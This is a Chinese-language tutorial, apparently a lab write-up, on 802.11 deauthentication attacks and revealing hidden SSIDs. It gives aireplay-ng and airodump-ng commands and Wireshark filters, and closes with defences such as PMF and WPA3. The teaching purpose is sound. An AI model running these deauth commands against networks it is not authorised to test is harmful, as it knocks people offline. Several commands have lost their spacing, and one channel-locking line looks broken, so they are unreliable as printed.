无线安全实战:Deauthentication 攻击与隐藏 SSID 发现

发布时间:2026/11/6 3:32:12
无线安全实战:Deauthentication 攻击与隐藏 SSID 发现

前言

Deauthentication(解除认证)攻击是 802.11 协议中一个经典的安全缺陷:管理帧缺乏身份验证,攻击者可以伪造 AP 或客户端发送 Deauth 帧,强制设备断开连接。另一个常见误区是“隐藏 SSID 能提高安全性”,实际上只要客户端重连,真实 SSID 就会在 Probe Response 等帧中暴露。

本文记录一次完整的测试过程:使用 Kali Linux 和 Ralink RT2870/RT3070 无线网卡,先发起 Deauth 攻击并用 Wireshark 分析流量,再通过 Deauth 触发重连来发现隐藏 SSID。

测试环境

  • 操作系统:Kali Linux 2025.2
  • 无线网卡:Ralink Technology RT2870/RT3070(USB 2.0,支持监听模式)
  • 测试 AP:手机热点(2.4GHz)
  • 测试客户端:一台授权测试的手机

一、Deauthentication 攻击

1. 扫描目标

开启监听模式:

sudoairmon-ng start wlan0

以 channel hopping 模式扫描,获取目标 AP 的 BSSID、信道以及客户端的 MAC:

sudoairodump-ng wlan0mon

假设扫描结果如下:

  • 目标 AP BSSID:AA:BB:CC:11:22:33
  • 信道:1
  • 客户端 MAC:DE:AD:BE:EF:00:01

将网卡锁定到目标信道:

sudoairmon-ng start wlan0mon1

2. 发起 Deauth 攻击

使用aireplay-ng发送无限数量的 Deauth 帧:

aireplay-ng--deauth0-aAA:BB:CC:11:22:33-cDE:AD:BE:EF:00:01 wlan0mon

参数说明:

  • --deauth 0:持续发送 Deauth 帧
  • -a:目标 AP 的 BSSID
  • -c:目标客户端的 MAC
  • 如果不加-c,则广播 Deauth,所有关联该 AP 的客户端都会断开

3. 抓包并分析

另开一个终端,指定信道抓包:

sudoairodump-ng wlan0mon--channel1-wsaved--beacons

用 Wireshark 打开saved-01.cap,过滤所有 Deauthentication 帧:

wlan.fc.type_subtype == 0x0c

Deauthentication 帧属于管理帧,Type=0,Subtype=12(0x0c)。

进一步过滤出目标 AP 和客户端之间的 Deauth 帧:

wlan.bssid == AA:BB:CC:11:22:33 && wlan.da == DE:AD:BE:EF:00:01

在报文详情中可以看到 Frame Control 字段:

  • Type:0(管理帧)
  • Subtype:12(Deauthentication)

二、发现隐藏 SSID

1. 隐藏 SSID 的原理

隐藏 SSID 的 AP 在 Beacon 帧中不携带 SSID 字段(或长度为 0),但这并不意味着 SSID 无法被发现。当客户端发起 Probe Request 或重连时,AP 会在 Probe Response、Association Response 等帧中返回真实 SSID。

2. 扫描隐藏 AP

开启监听模式并扫描:

sudoairodump-ng wlan0mon

假设发现一个隐藏 AP:

  • BSSID:12:34:56:78:9A:BC
  • 信道:11
  • ESSID 显示为<length: 0>

指定信道抓包:

sudoairodump-ng wlan0mon--channel11-wsaved--beacons

3. 发送 Deauth 触发重连

向该 AP 发送一个 Deauth 广播包:

aireplay-ng--deauth1-a12:34:56:78:9A:BC wlan0mon

等待客户端重连,观察airodump-ng的输出,ESSID 字段会从<length: 0>变为真实 SSID(假设为Hidden-Net)。

4. Wireshark 验证

过滤该 AP 发出的所有 Beacon 帧:

wlan.fc.type_subtype == 0x08 && wlan.bssid == 12:34:56:78:9A:BC

可以看到 SSID 字段为空。

再过滤 Probe Response 帧:

wlan.bssid == 12:34:56:78:9A:BC && wlan.fc.type_subtype == 0x05

在报文详情中可以看到 SSID 字段为Hidden-Net,说明隐藏 SSID 已被发现。


三、总结与防御建议

  1. Deauthentication 攻击利用的是管理帧未加密、未认证的设计缺陷。攻击者可以轻易伪造 Deauth 帧,强制客户端掉线。
  2. 隐藏 SSID 不是有效的安全措施。只要客户端重连,真实 SSID 就会在 Probe Response 等帧中暴露。
  3. 防御建议:
    • 启用 802.11w(管理帧保护,PMF),对 Deauth 等管理帧进行加密认证。
    • 使用 WPA3,其强制要求 PMF,能有效缓解 Deauth 攻击。
    • 不要依赖隐藏 SSID 来提升安全性。